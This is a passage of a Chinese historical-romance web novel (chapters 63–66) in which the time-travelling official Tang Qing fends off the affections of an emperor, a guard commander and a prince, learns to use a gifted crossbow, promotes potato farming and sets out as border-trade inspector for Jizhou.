冀襄王即使不似诸多武将年轻,但骑射之术却不遑多让。他出手少了年轻武将的锐利锋芒,更多的则是稳重干练的风格,箭矢破空时,甚至觉察不到带来的肃杀气息。 此场比试结束,当以冀襄王为首。 几轮落幕,按照过往规定,选取每轮击落球花前三数目为优等者。 下一活动,百官切磋。 余下官员兴奋难挡,暗自期盼冀襄王、禁军统领等王侯名臣选中自己,若得选中,无异于一次在皇上面前展露头角的机缘。 为讲究公平,便让优等者中击落球花数最多的人则选目标。 韩擒目光落向高席,语出惊人。 “还请唐侍郎指教。” 百官哗然。 先不说韩擒与唐青之间过去传的满朝皆知的非议,唐青一届文人,常受疾病牵累,如此羸弱,怎能切磋? 且满朝官员,还未见过唐青骑射。 唐青手心潮湿,被萧隽以五指扣了如此之久。 此刻承受无数道投来的视线,人已麻木,顾不得是否被人发现袖袍下的端倪。 真被发现什么,想着怎么处理此事的也是萧隽。 他微微垂目,道:“大统领,下官身子近日不爽,恐怕无法应下切磋。” 韩擒目光沉定:“唐侍郎答应便是,改日再讨教也无不可。” 话都说到这份上,唐青只能答应。萧隽五指的力道重了几分,他轻而隐忍的蹙眉,对方看着他,倏而松手。 声音仅彼此能听清,萧隽道:“韩卿这般,倒是痴心未死。” 此一波尚没平息,萧亭道:“本王观唐侍郎卓然不群,亦欲与之商讨切磋一番,既然今日唐侍郎身子不便,可能改日应许本王的邀请?” 他话无压迫,亦没有韩擒那种克制忍而不发的痴缠,倒像是约起好友,挑个合适的日子聚聚。 冀襄王话到即止,如若拒绝,便是当着帝王,拂了皇亲国戚的颜面。 唐青岂不能掂量其中份量?他顶着无数双探究,艳羡,妒忌的眼睛,内心轻叹。 想着既已答应韩擒,多一个少一个没甚区别,遂应下冀襄王的邀请。 唐青一连应许两份邀约,场上的官员慧眼如炬,依稀琢磨出些许端倪。 他们为了避免这趟跟皇室宗亲沾上的浑水,之后不再有人向唐青发起邀约。 * 看了一天热闹,作为热闹中心的主角,唐青乘坐马车回到府邸,倒跟个无事人似的。 吩咐兰香备好热水,他打算用完晚膳后就沐浴。 这场冬日活动在宫内传得沸沸扬扬,百官散去,自然就有些流言像朔风一样吹得到处都是。 兰香听闻不少,在唐青身边伺候着,道:“先生好生定力,竟还能这般若无其事。” 唐青喝了半碗乳鸽汤,道:“兵来将挡,只能坦然相接,来一个或十个,也无甚区别了。” 兰香心感钦佩,又觉得以先生惊绝超群的风华,合该有那么多王侯大臣追捧。 她捧着下巴,眼看先生用膳,一举一动都牵动她的目光追随,所以受此追捧的人只要是先生,便也不足为奇了罢。 * 直到唐青沐休的某日,一早,来了人登门拜访。 韩擒夜间值勤,散值后就选了今日到唐青府上,想见他,便来了。 兰香在前头引路,韩擒问:“他身子可好。” 兰香道:“这十来日,先生汤汤水水补了不少,气色恢复许多。” 见到唐青,韩擒顷刻间移不开目光。 就如兰香所言,经过半个多月的滋补,青年眉眼都透着泛红明媚的光彩。 雅隽精致的脸颊有了些温润的轮廓,稍微养出一点肉,使得本来清减的唐青愈发柔软。 加之入冬以来慵懒,他几乎整个人团在雪白狐裘里,叫韩擒看一眼,满心的软和都要从平稳的目光里溢出来了。 唐青以客人之礼相待,韩擒忍下失落,不想浪费来之不易的独处时间,很快调整,叙话几句后,道:“过去答应教你强身之术,没曾想至今都没有兑现。” “如今只能借切磋的名义将此事兑现,多谢先生给我这个机会。” 韩擒素日里统练禁军,对于什么样的人如何提升身体素质、有效练习抗击很有经验。 他教了唐青一套强度不高,可在室内练习的养身拳术,还点拨了三招适合唐青在紧要关头防身自救的招式。 唐青柔韧,可借巧劲,日积月累下来,方有成效。 一个时辰过去,纵然韩擒再有不舍,也该走了。 唐青适才练拳,虽不费力,但活动下来,唇色红艳,身子源源冒着热。 他解下狐裘,送韩擒到房门外。 韩擒停在门前,不舍让他送自己离开,道:“就到这里。” 唐青眉眼含笑,如同看着挚友,言辞带了关怀之意:“路上当心。” 韩擒离去后,日近正午,门外又来了人拜访。 兰香望着马背上丰神高洁且气质非凡的成熟男子,红了脸,连忙跑回屋给先生传话。 唐青出门迎候,萧亭未曾入府,道:“唐侍郎可曾感受过冀州的风。” 他轻抚胯.下宝马的鬃毛:“它叫踏风,从胡族商人手上获得,性子十分良顺。别看它温柔,但体格剽悍,可日行千里,属不可多得的好马。本王从冀州来,别的没有,倒是收藏了一些名驹。见到唐侍郎,便觉得它适合你,宝马配良主,岂不失为一桩美事。” 萧亭今日,恰巧也借切磋名义,带着踏风登门,把这匹良驹送给唐青,引他上马。 就如萧亭所言,踏风与唐青极为适配,似知晓他不善骑术,铁骑徐慢,十分灵性地带着唐青缓缓绕行,等他适应,再稍加快。 唐青新奇地抚摸踏风,他甚至不需心力,便能独自轻松地驭上一匹宝马,即使速度缓慢,已叫他喜悦不已。 唐青问:“王爷方才不是问下官,可感受过冀州的风?下官不曾。” 萧亭很轻微地笑了声,声音有着磁性的温和。 “今日北风,踏风带你绕了好几圈。” 唐青阖眼,踏风跑动时,他浑身都轻飘飘的,仿佛触摸到风的形状,过了半晌,又好似嗅到风里带着从冀州传来的气息。 正午,唐青在萧亭的引导下,很快驾驭踏风,已能安全绕圈驱策。 见他露出几分疲色,萧亭并没久留,而是叮嘱他午后好好休息一阵。 上午练拳,中午骑马,唐青午觉的质量出奇的好。 傍晚将至,在庭院洒扫的兰香震惊地望着来人,还未来得及跪下,李显义示意她不必出声。 正在书房习字的唐青见门前落下一道长影,萧隽着常服,右掌轻轻抛着把小巧精致,好似云雀的弩机。 唐青上前迎接:“陛下,您……” 萧隽把弩机放入他手心,大掌托起他的手背,更似托着一只滢白漂亮的雀儿。 第063章 第 63 章 唐青的手生得文弱修长, 常年使用电脑打字的习惯,指腹能隐约摸出一点很薄的茧子。 萧隽垂目看着,仿佛在观赏一件精美的珍品, 或许心里太惦记这个人, 浑身上下没有一处不喜欢的。 素日里淡漠的眉峰几分和缓, 指腹贴在秀致玲珑指节轻轻摩挲着。 唐青很快反应, 抽回被托住的手:“陛下。” 萧隽不想听他又说什么“不要在臣身上浪费时间”的话, 索性负手而入, 打量书房。 唐青握着小巧的云雀弩, 几步紧跟而上。 萧隽在他的书房犹如出入无人之境,叫他深感万般无奈。 “陛下,即使您贵为国君, 可也不能轻易进出臣的屋子,还请给臣留点隐私。” 萧隽停步,驻足探量书案前某件形状奇异的物什。 “此物为甚。” 唐青道:“回陛下,此为沙漏, 乃臣在邺都城内寻了一名工匠做制, 当上方漏斗的沙子完全落于下方, 便预示着过了半个时辰。” 萧隽:“听起来倒是新奇。” 睨着青年欲言又止的神情,有阵子没像此刻这般仔细端量,发现唐青双颊软润丰盈些许。 又道:“孤下次过来,会差人通传一声。” 也是给唐青方才的话做了交代。 他问:“喜欢这支云雀弩么?” 唐青看着手里的弩机,一直握着,还不知怎么触发。 萧隽道:“随孤出去,教你如何用它。” 眼看萧隽一时半刻不打算离开, 唐青便跟对方走出书房。 二人来到庭院,院子里移栽了一颗树干, 时下寒冷,整颗树只剩下树桩和枝干,下端清理过,上方覆盖掌心厚的积雪。 萧隽选取适当的距离,偏过双目:“来,站在孤身旁。” 唐青停在他一侧。 萧隽指着唐青举起的云雀弩,详细讲解构造,道:“此为触发箭矢的机关。” 环扣小巧,方便按压,待触发后,前端小孔立刻射出箭矢。 箭矢有专门的暗格置放,约莫小指长,一次可置放六支。 唐青还在琢磨怎么触发弩机的拉环,手忽然被萧隽托起,背后那具身躯与他靠得愈为相近。 瞥见他出神,萧隽道:“唐卿,看准前方。” 说罢,指腹按在他拇指上,朝下一扣,拉环刚动,便有一支极为尖利的箭矢飞射而出。 萧隽领着唐青上前,射出去的箭正中树干中央。 “箭矢用了独特的材质打造,若瞄准人射击,顷刻没入体内,或贯穿而出,必要时,可涂沾药物使用。” 唐青问:“这支云雀弩听起来甚为妙用,陛下何不留着。” 萧隽望着他,不待唐青制止,便开口:“孤想送你。” 微妙的死寂过后,萧隽教唐青继续试弩,这支云雀弩可以做部分调整,调到最适用的手感。 暮色已至,视野晦暗。 唐青收起云雀弩,道:“时辰不早,陛下可要……” 萧隽盯着他,本想送走贵客的唐青不得不改口。 “……留下用膳?” 皇帝给他送礼,且耐心教授,出于情面,这会儿逐客未免不地道。 萧隽微微一笑,欣然应允:“好。” 唐青传下吩咐,兰香不敢怠慢,亲自到后厨跟着厨子一起忙活。 萧隽开口:“孤微访出宫,一切从简,无须劳师动众,就如卿往日那般就成。” 又道:“过去行兵打仗,孤同将士们在极境中深潜埋伏,一连几日饮冰吃雪,粗粮裹腹。” 唐青想起萧隽自幼被作为质子送往胡族,在极境中能带出一支完全属于自己的军马,其中隐情自是无须对外人诉说。 他一时不知要不要接应此话。 问,则进一步。 萧隽静静看着,仿佛在等唐青的选择。 须臾后,唐青垂眸:“陛下,还请随臣到前厅用膳。” 萧隽收起视线,已经遭受过几次拒绝的心也没有那么煎熬难忍,来日方长。 * 后厨备了几道家常菜,五菜一汤,其中四道为邺都常见菜色,唯有一道是南郡的口味。 席间,二人专注用膳,渐渐地,唐青觉察异常,那道南郡菜肴几乎被萧隽吃个干净。 他一忖,问:“其他菜色不合陛下口味?” 萧隽道:“孤瞧几道菜式中,唯此一道非兖州菜色,理当是卿喜欢的地方口味,私心多尝了几口。” 唐青无奈,随对方去了。 用过晚膳,萧隽未再久留。 唐青送对方出门,待马车驶远,方才吩咐仆人落下栓锁。 这一日难得休息,连着招待三人,即使心性坚韧,此时不免生出倦怠。 兰香长叹:“今日吹的什么风,一个个的都往府上来了。” 此话勾起唐青回忆,忽然笑道:“今日吹北风。” 兰香暗觉莫名,只是瞧见先生笑,自己亦跟着恍惚地笑起来。 ** 兖州的冬日漫长,今年更是陆续连降几场暴雪,短短一夜,大雪在宫檐下沉沉压着,次日才安排侍卫清扫。 时节寒冷,又连降雪,出行格外不便,唐青除了上下值,成日只宅于室内,府门紧闭,落得不少清净。 兰香望着满园的雪白,搓搓手心,兀自喃喃:“今年的雪,落个没完没了呐。” 说完,回头看向书案前执笔练字的先生,又笑了笑:“但还有句老话,说是瑞雪兆丰年,来年定是个丰收年罢。” 唐青想起今年下发到边境的政策,以及去年在梧郡率先施行的改革,说道:“但愿如此。” ** 元朔四年,进入孟春。 皇帝亲自举办了一场祭祀大礼,祈佑连年丰收,国运昌荣。 除了春祭,身为国君,亦会以身示范,亲自下田耕种,朝堂百官效仿。 唐青作为朝廷要员,自然不敢怠慢。 一早,他内着御寒的贴身里衣,外罩行动方便的素色斓袍。 官员耕地,在不耽搁公务的情况下,须按自己的时间分配,唐青则了休沐当天前往。 他牵出冀襄王送的那匹踏风,独自从府邸去往近郊。 近郊四周,放眼所望,遍布着大片鲜嫩稀疏的青绿。 耕作的农民遥遥看一眼途径的马车或骏马,这几日,他们见到许多达官显赫出现在田地里,可谓开足眼界。 城中还有不少百姓专门赶到田间,即使被隔得很远,但为了瞧上一眼这辈子可能都无缘见到的名臣仕族,仍不惧辛劳地苦守。 头几日热热闹闹,唐青等冷清下来了,这才出行。 他打马从田垄穿过,悠哉悠闲的踏风忽然轻跑起来,唐青拍了拍它的鬃毛,安抚的话还未出口,就被它送至一道熟悉的人影身边。 停在田岸上的一匹高大骏马和踏风互蹭脑袋,萧亭站在田间,朝他浮出笑容。 唐青从马背跃下,跟着下了田。 “王爷,您今日也在。” 萧亭道:“挑了个日子,正合心意。” 他将手里的稻子分了一把给唐青:“一起。” 唐青只好跟着对方往田里插稻。 萧亭磁声开口:“今年冀州开设边贸,若无意外,皇上会派遣特使督查,人选应当就是唐侍郎了。” 唐青正色:“能为陛下分忧,自是荣幸。” 萧亭:“听闻侍郎在梧郡吃了不少苦。” 唐青:“吃过苦的不止下官一人,为陛下分国事之忧,乃份内之职。” 萧亭笑笑:“是吗。” 唐青哑然。 表面话听起来有些冠冕堂皇,如果不是意外卷入朝廷,他或许还在梁王府自在悠闲的度日。 一开始只为了自保,让皇帝看见他有能利用的地方,换他自由。 可陆续走了几个地方,停留在当地生活,所见所接触到的环境,使他慢慢改变了初衷。 唐青扪心自问,如在他的能力范围内,可以改善百姓生活,他愿意为此做些力所能及的事情。 改革计在长远,实施起来,或许需要经过几代人的努力。 可假如因为他尽力带头把第一件事情办好了,慢慢推行到其他地方,比如推行到南郡,使得在远方还记挂自己的朋友得到生活上改善,便叫唐青心满意足,更加坚定这份继续走下去的决心。 萧亭眉目专注,看着青年脸上焕发的神采,就如看见春日间落下的一道明媚暖煦的光。 “唐侍郎是个很独特的人。” 唐青不自在道:“王爷过誉了。” 叙谈间,田垄上有人喊:“王爷,唐侍郎——” 李显义站在上头,唐青瞬即意会。 萧亭道:“过去吧。” 春风和煦,萧隽伫立在另一田间,遥遥看着攥了把稻子的唐青走近。 他道:“唐卿与皇叔倒是相得甚欢。” 唐青望着手里的稻苗,停下脚步,不走了。 见状,萧隽无声清了清嗓子 :“孤与你有要事相商,关于冀州边贸,若卿不便……” 唐青:“臣愿为陛下效劳。” 又开口:“这是一开始就说好的,不是么?” 萧隽无言。 他甚至觉得唐青是为了逃避自己,才迫不及待地离开皇宫,离开邺都,他想好缘由,只要唐青不想去,他就另外安排人选。 可一开始是他要唐青为自己做事,选了这样一个特殊的人,做他的刀。 萧隽道:“冀州地处北境,与胡族交界,不比邺都,更不比梧郡。” 唐青垂眸:“可陛下想让臣去。” 以他的心性,对这份政策的熟知程度,又有在梧郡改革的经验,放他亲自监察边贸施行,再合适不过。 理智上选唐青最合适,可于私心上,萧隽不想放他走。 飘起了细密的雨丝,唐青抬步走到萧隽面前:“陛下下旨吧。” 明明最初要的目的已经达到,望着青年柔软莹润的白皙面庞,萧隽心脏涌出几分揪扯的疼。 若放唐青去了冀州,此行一走,只怕会清减许多。 可他关过唐青一次,没有谁比他清楚,这人注定不会平凡。 第064章 第 64 章 春雨如油, 今年的兖州,境内比往年落雨频繁。 唐青要前往冀州的消息告诉兰香,吩咐她收拾一人的行礼。 兰香停下动作, 不确定道:“一人?先生, 您不带兰香过去么?” 唐青吹了吹手边的茶水, 徐声道:“冀州不比邺都, 且府内需要你来打理, 就安心留在此地, 等我回来, 好吗。” 兰香不太情愿,抿着唇嘟囔:“兰香不过去,谁照顾先生啊……” 唐青好笑不已:“我有手有脚, 自然能照顾自己,莫要担心。” 兰香还在争取机会:“先生,还是允了兰香跟您去吧,兰香不怕吃苦, 从前什么日子没碰到过……” 唐青面容温和:“正因如此, 才不想叫你跟着我吃苦了呀, 傻姑娘。” 他端量室内,又道:“我在大邺孑然一身,如今把此地当成自己的家,你就当答应我另一个要求,在家里等我,可好?” 小姑娘圆溜溜的杏眼一下子就涌出了眼泪。 她喃喃:“家?” 听起来久远陌生的家,叫她变得不安、懵懂, 可当接触到先生温柔安抚的眸光时,整颗心便沉沉而安稳的落了下来。 她仿佛掉进了温暖的一汪泉水里, 又好像被外头沥沥洒洒的春雨浇了一头,丝丝缕缕的凉透出一股沁人的暖意,叫她对未来滋生憧憬。 唐青道:“自然,你是我妹子,这儿不就是我们的家?” 他佯装轻叹,款款踱步至屋檐后,望着满园的空寂,道:“还盼着妹子能把府中几座庭院打理起来,种种花栽栽草,再养几只小动物,最迟也就今年的夏季,总能从眼前这片空地中看出些花团锦簇来。” 兰香眼中还泡着泪光,微微抽噎道:“先生放心,兰香定把院子里里外外收拾得像个家,我就在家里等您回来。” 唐青轻抚她的发髻:“办完公事,我会尽快回来的。” 兰香重重点头,又哭又笑地跑去继续收拾行李。 要启程前往冀州,唐青在尚书台便没有太多公务了,手头仅剩的活儿交接给同僚,安排妥当后,在出发前意外得了几日闲。 傍晚,与尚书台的几名同僚在瑞福楼小聚,茶余饭饱间,婉拒了李秀莽送自己回去的好意,说想在街头随处走走。 夜幕临下,邺都主城繁华热闹。 他在现场制作花灯的摊子前止步,摊主瞧他容貌不凡,笑呵呵问:“公子要花灯吗?” 唐青正欲应声,身后忽然有人先他一步,沉声道:“送他一盏。” 唐青侧首,微微抬高双眸,有些诧异,又似乎有所预料地望着面前英贵十足的男人。 “爷。” 萧隽这是又微服出巡了? 萧隽问:“你要哪盏。” 唐青便把视线放回摊子前,要了盏花苞样式的灯。 萧隽付了钱,道:“一起走吧。” 唐青举着粉色的花苞彩灯,跟在对方身侧。 他们从朱雀街走到金水街方向,萧隽没有停步的意思,再直行一段时间,就会来到唐青的府邸。 如他所猜测的那般,萧隽到他府上。 二人在堂屋坐着,兰香很快送来泡好的茶水,安安静静退到外头等候。 萧隽摩着杯口,隔着浮起的水汽看着唐青,道:“卿可准备好了?” 唐青:“行李俱收拾妥当,随时可以启程。” 此次前往冀州,他跟着冀襄王的队伍过去,萧隽另外还会安排人跟在身边,供他差遣。 围绕着打开边境边贸的事商讨片刻,萧隽递给他一枚金牌。 唐青没问何意,对方给他就好好收起来, 萧隽道:“见此金牌如见孤,便宜你行事。” 唐青想起去年南行梧郡时,对方也赐了他一把金龙刀。 萧隽道:“金龙刀不方便带在身上,那支云雀弩比金龙刀实用,不管置身何地,记得贴身带好。” 唐青:“臣记下了,谢陛下关怀。” 四目相对,一时无言。 烛火幽幽摇曳,映得萧隽浅色瞳孔不像往时淡漠,眼里是有情绪的,带了情绪看他。 唐青偏过脸,准备挑个话头转变此刻的氛围。 没等他开口,院子外传来些动静,疑惑间,萧隽道:“出去看看吧。” 俨然一副府邸主人的作态,唐青摇摇头,跟着对方身后走出堂屋。 他问兰香:“怎么这样热闹?” 兰香福了福身,朝皇上先行过礼,方才回答。 “回皇上,先生,适才官驿差人托运了十几个木箱到府上,说是梁王府送来的。” 唐青:“惊鸿送的?可附有信件。” 兰香:“有的。” 她把袖口底下的信封小心翼翼取出,唐青接信,抬头看了眼萧隽,将信拆开,借着庭院里的灯将纸上内容看完。 原来梁名章今年在南郡恰好为一名东溟商人诊病,商人为表谢意,坚持要送礼品。 梁名章什么奇珍异宝都没拿,只叫商人给他送些东溟的土豆就好。 能在大邺出入营商的外族商户,自然能有手段把土豆运入境内。 那东溟商人往梁王府送去几十箱土豆,除了北上托运的这部分,南郡已经在范围地区内种植土豆,只等今年收成了。 且梁名章在信上告知另一件喜事。 王府农庄照着唐青的图纸做了水车以后,耕作产效去年便得到显著提升,今年南郡内其他农庄纷纷效仿,有条件的,都找了木匠把水车建起来。 水车一旦建好,可解决范围内引水灌溉的困境,节省人工劳动力,让更多的农民着重耕作理田,增加种植产量。 唐青眉眼溢出欣喜,把这几件好消息告诉萧隽。 兖州的春天来得晚,储藏的土豆陆续发发芽,不日就可种植。 萧隽道:“听卿所言,这种土豆真有那么好?” 唐青打开其中一个木箱,挑了块完好且尚未发芽的土豆,忍不住拿在手心抛了抛,沉甸甸的。 唐青道:“陛下有所不知,土豆前两年就在大邺境内出现了,可大部分人不知它能食用,致使其没能在境内传播。” 他借着竹筒流下的水清洗土豆表皮,边洗边问道:”陛下今夜急着回宫么?” 萧隽:“孤在老马那处夜宿。” 唐青温温一笑:“那就请陛下多等些时候。” 他径直去了后厨,把洗干净的土豆放在蒸笼上,灶底留有火种,添点柴火很快就烧了起来。 萧隽看着他:“唐卿竟会做这些粗活。” 唐青失笑:“臣本就是个平凡普通的人。” 且他在梁王府生活将近一年,为了不白吃白住,自然会些杂活儿。 萧隽道:“听卿所言,过去一直在梧郡内,为何知晓此种土豆可以食用?” 唐青脑子里总是装有许多稀奇古怪的想法,说是看书学来的,萧隽却不好糊弄过去。 唐青盯着灶下的火,忽然轻声说道:“若臣……并非这个时空的人,陛下信么?” 萧隽:“什么?” 何为……时空? 这是大邺哪个地方,又或是外族之地? 可观唐青面容,不像怀有异族血缘。 唐青拿着木柴在地面画了几个圆圈,松下微微紧绷的肩膀:“陛下就当臣在胡言乱语吧。” 萧隽紧盯他不放,道出疑惑:“你会离开么。” 不知缘由何来,他突然问了这样一句。 唐青头绪茫然,他并不知道自己还能不能回去。已经来到大邺第四年,怎么也回不去了吧。 蒸笼源源喷出水汽,他道:“蒸熟了。” 打开蒸笼的盖子,唐青拿起筷子把整块土豆夹到碗里,戳成两半,露出里面粉黄粉黄的土豆泥。 片刻后,他夹起一块土豆吹凉送进嘴里,笑吟吟道:“是这个味道。” 说罢,给萧隽递了另一双竹筷:“陛下尝尝。” 萧隽默默吃干净,沉吟不语。 唐青接着开口:“土豆有许多烹制的办法,最简单的,就是把它蒸熟,或放进火堆烤。土豆容易种植,产量高,为平民百姓能大量拥有的果腹食物。” 只是苦于未能得到推广的原因,两年前在大邺境内出现,竟少有人知道它能食用。 唐青放下碗筷:“陛下,臣去冀州的日子里,此重任就交给您了。若陛下有心,开通海上之路贸易时,可与东溟换取更多的土豆,在大邺全境推广种植并无不可。” 萧隽有一瞬间的怔茫,低声问:“卿就如此笃信?” 唐青:“臣不敢要求,只期许陛下会这样做。” 他知道萧隽是个很有想法和手段的皇帝,就是太有手段了,才会让人觉得他不近人情,独断独行,没有先帝仁德的口碑。 不过当前时局特殊,仁慈与贤德撼动不了现状的许多问题。 ** 夜色渐沉,唐青送萧隽到府邸大门外,望着朦胧光线下飘散的春雨,他拢紧斗篷,道:“臣就送陛下送到这里了。” 萧隽低垂双目,瞳孔里倒出青年精致滢白脸庞。 只短短一段路,却让他想了很多,包括推翻了前几日的打算。 为了唐青,他可以暂时再退一步。 萧隽道:“孤有点后悔。” “唐青,你最好平安回来,也不要爱上别人,否则……” 连萧隽也不知道自己会出什么样的事。 第065章 第 65 章 深夜, 颐心殿灯火憧憧。 萧隽召来韩擒,目光颇为复杂地审视对方。 对韩擒,他既欣赏重用, 可又不得不忌惮。如今, 他把一件重要的事交给对方。 “冀州一行, 务必照顾好他。” 韩擒对唐青的痴心叫萧隽心里不悦, 本欲派另外几名心腹暗卫随行, 可想到当日在田间所见, 皇叔与唐青叙谈甚欢的场面, 使得他心里生出了一点芥蒂,不得不提防。 旁人对皇叔的态度,总归带有对皇室的敬畏, 涉及唐青,最多忠奉命地护着,于私情,恐没有韩擒上心。 他知道, 在某件事情上, 韩擒与他站在同一阵线。 而且以唐青的性子, 只要认定的事,便不会回头,任韩擒怎么痴缠,唐青也绝不会再动摇半分。 是以,他吩咐:“不要让皇叔接近他。” 短短一句话,让大殿陷于沉寂。 君臣目光相交,在彼此的眼中, 读懂了那道再清楚不过的眼神。 韩擒道:“臣领旨,定不负皇上所托。” 此外, 萧隽还交给韩擒另一件公务,事关边境驻将。 二人谈至深夜,三更才歇。 * 次日,萧隽在朝会上当着文武百官的面,命李显义宣读圣旨,任唐青为边贸督查使。 唐青此行,要前往北方州、西北的幽州和冀州督查边境贸易,直至将落实下去的政策稳定施行,方才算完成任务。 此外,就去年梧郡改革,今年额外增设了几个地点推行,萧隽又另外安排几名官员负责监察跟进。 议会散去,唐青才走出大殿,四周便连接迎来官员向他道贺。 唐青停在原地与诸位官员寒暄,甫一抬眸,与出来的韩擒迎面而遇,轻轻点头,便又与旁的官员招呼。 散了朝会,唐青径直回府。 启程的行礼已经准备妥当,衣物药材俱全,装了两箱,连同尚书台送来的资料文卷,也另外再装了一箱。 日期定在后天,时下闲来无事,他便在院里取些发芽的土豆,跟兰香开了块小菜地种植。 仆人进来传话,听闻贵客登门,不等唐青整理衣物,萧隽已越过大门,目光落在庭院偏角的青年身上。 唐青放下小铁锄,鞋底还沾着泥巴,迎上前行礼。 萧隽挡了他的动作:“免礼。” 把他上上下下打量一遍,道:“又折腾起你那些土豆了?” 唐青笑道:“不止土豆,去年就计划着在院里开片菜园,把能种的青菜都种上一些。” 他问:“陛下可有吩咐?” 萧隽道:“来看看你。” 分别在即,萧隽不说那些冠冕堂皇的表面话,也不想做出推开唐青的举动。 如此赤诚袒露的心意,叫唐青一时难以接应。 他无法给任何回应,拎起放下的小铁锄,把发芽的土豆埋入挖好的土坑里。 萧隽把土豆递给他,目光始终没有离开。 唐青无奈:“陛下。” 萧隽:“只看看都不行?不做别的。” 又道:“也不说让你为难的话。” 日近正午,萧隽方才从唐青府上离开。 待人走后,唐青吩咐仆人把大门关闭起来,即日起,谁来了都不见。 他在府上安安静静地呆了两日,直至启程去往冀州那天才露面,跟随在冀襄王的队伍当中。 此行除了有冀襄王相助,萧隽还给他安排了一行暗卫,韩擒竟也在其中。 韩擒检查好马车状况,道:“先生,我扶你上车。” 唐青回绝:“不必。” 他踩上马凳,沿着阶梯走入车内坐稳。 韩擒深深看了他一眼,旋即落好车帘,策马跟在旁边。 队伍低调离开邺都,韩擒跟在马车外,除了定时给唐青送水递粮,余下时候就像跟在旁边的影子,安静却又无处不在。 唐青所休息的榻下置有抽屉暗层,里面码放解馋的小食,些许常见药物,还有几本书籍。 他抽出一本冀州风俗打发时间,才出邺都境内,便听车外传来冀襄王的声音。 “唐侍郎感觉如何。” 唐青撩开帷帘,透过车窗望向一席玄色简装的萧亭。 “回禀王爷,下官一切安好,谢王爷关心。” 萧亭笑道:“在外就不必遵守这些繁缛礼节,等到冀州以后,侍郎免不得跟着我们入乡随俗。” 唐青从书籍上解到冀州相关的一些风俗,那儿没有邺都城内层层礼节的往来,还听说边境的人性格多数豪爽直快。 与他有过几次相处的冀襄王,确有几分坦率,但这份情绪还是比较内敛温厚的。 在前方策马的韩擒忽然回头,道:“王爷,下官有要事与您相叙。” 萧亭示意唐青在车内好生休息,驱马朝前方靠近。 唐青低头,继续心无旁骛地看书。 途中几次冀襄王过来与他问候,过程都被韩擒打断,与其商议事务。 几次下来,唐青发现其中异常,韩擒似乎故意支走冀襄王。 邺都通往冀州的官道,修缮得还算平整,行驶途中,未受太多颠簸。 三日后,官道周围山野遍布,此时还落了一场春雨。 唐青在雨声的催眠中泛起春困,合起手里的书卷,倚在榻上半梦半睡。 一觉结束时,身子微微沉重,唐青拢紧身上的锦被,掀起帘布,朝外探张视线。 韩擒绕回缰绳,跟在车舆一旁,问:“可是累了?” 又道:“过半刻便安营休息,再坚持一会儿。” 唐青道:“辛苦韩统领了。” 开口时嗓音沙哑,刚出声,韩擒解开腰间的水囊递给他。 唐青接过:“多谢。” 兖州和冀州路途相隔不远,他身上水土不服的症状不若去年南行时那般严重。 尽管如此,唐青不敢怠慢,不愿自己的原因致使行程耽误,尽量避免生病的可能。 水温很暖,这一路韩擒给他准备的水,总是温度适中,叫他随时能喝。 此举之心细,只能是有意而为。 他举着水囊,暗自轻叹。 ** 傍晚前,队伍停下,驻扎营帐原地修整。 部分将士到周围打水,其余将士则原地生火,还安排了人手轮岗值守。 唐青听附近的将士闲聊,得知再有两日就可抵达冀州境内。 他从车帘探出身子,正欲搬个马凳自己下去,旁边伸来一只手臂,将他稳稳扶到地面。 韩擒道:“在车内闷了一日,可要到附近透口新鲜空气。” 唐青恰有此意,连续乘坐四日马车,腿脚乏力酸软,该适度活动筋骨。 他朝对方微微点头,在其陪同下,到周围的林间散步。 春意阑珊,竹林翠绿,不远的范围内有条河流。 此时水声潺潺,岸边山鸟停留在石子上低头饮水。 夕阳的霞辉散浮于溪面,粼光闪烁,叫人观之心情怡跃。 唐青在溪边的石块上小坐休息,很快,韩擒给他送了新鲜的烤肉,果子和温水。 烤肉用荷叶包括,蘸料齐全,加之用荷叶裹在外层烤,打开便散发出一阵清新浓郁的香味,肉质鲜嫩,引人食指大动。 韩擒把烤肉吹凉,分出最嫩最香的部分,串在竹筷上递给他。 唐青拿着肉串,轻咬半块,又喝了些水。 他背过身,回避韩擒的目光:“我吃不完,你也吃点。” 韩擒目不转睛道:“剩下的我来解决,先生先用。” 诚然,一路上韩擒恪守职责,对他照顾有加,且没有做任何逾越的行为。 可每每对上这人的目光,唐青便立刻读懂里面的坚持。 韩擒并非不争,只是在等,退回到原地,等他开口。 但他不会再回头,不想置韩擒于两难之境。 脑海浮现出许多前些日子关于他们两人的非议,唐青放下烤肉,挑了个果子慢慢咬。 他道:“家中最近如何?” 韩擒:“入春以来,父亲手臂成日疼痛,此为断臂以后残留的旧疾,请了宫内的御医诊治,情况已经稳定,大哥还是如从前那般。” 唐青微微点头:“好好待他们,你父亲跟大哥,一直都很关心你。” 韩擒默然。 见天色暗下,唐青准备返回马车休息。 他刚走几步,便被韩擒拉住手腕。 风迎面袭来,打下几片竹叶。 “先生……你可愿意等我。” 等他处理好韩家的事,安置好父亲和大哥。 唐青闭起眼眸,复又睁开,慢慢掰开腕上的手掌。 “阿擒,原来不是说好了,分开就不要回头,你我都有要承担要做的事情,做个朋友也挺好的。” 韩擒:“不……” 他自背后揽上唐青的腰肢:“求您等我,我定会——” 唐青:“定会什么?” “定会舍弃韩家的身份?还是不当这个官了?” 唐青道:“我希望你跟我在一起时,会变成更好的你,而不是要你舍弃所有,只求一个连你我都不能确定的结局。” 他挣出韩擒的怀抱,对方僵在原地,怔怔看着他朝竹林外走。 林外的巨石后,倚了道人影。 唐青借着火光,看见萧亭朝他露出点笑意。 他回头一望,不知对方有没有看到方才的场面。 萧亭送他回到马车,道:“韩擒这般痴缠,你……” 唐青:“王爷,这是下官的私事,不便谈论。” 萧亭长叹:“韩统领当年随皇上在冀州出征时,便是出了名的固执,许多敌将出逃过程都被他这份固执追得无处可逃,甚至有活活跑死的。” 唐青:“……” 萧亭:“只要你身边没有人,他就不会放弃。” 唐青:“可我总不能为了让他放弃,随便找个人……那样不公平。” 萧亭笑着摇头:“感情何来公平?” 他上了马车,坐在唐青身侧的位置。 “若唐侍郎愿意,本王可以助你完成这件事,但唐侍郎也要答应本王一件事。” 萧亭补充:“不会违背道义,更不会残害任何人性命,只是想让你跟本王回冀州王府,看一个人,同她说说话就好。” 唐青:“何人?” 萧亭:“本王的义母。” “这笔交易,唐侍郎答不答应?” 第066章 第 66 章 二人叙谈, 唐青适才从话中得知信息。 萧亭自幼便有一乳母,待他如已出,照顾十分周到。 后来乳母与一平凡人家的教书先生结为夫妻, 几年后育有一子。 可不幸的事情连接发生, 那位教书先生因心疾突然过世, 乳母所生的孩子经大夫诊断, 亦从出生起就带了心疾。 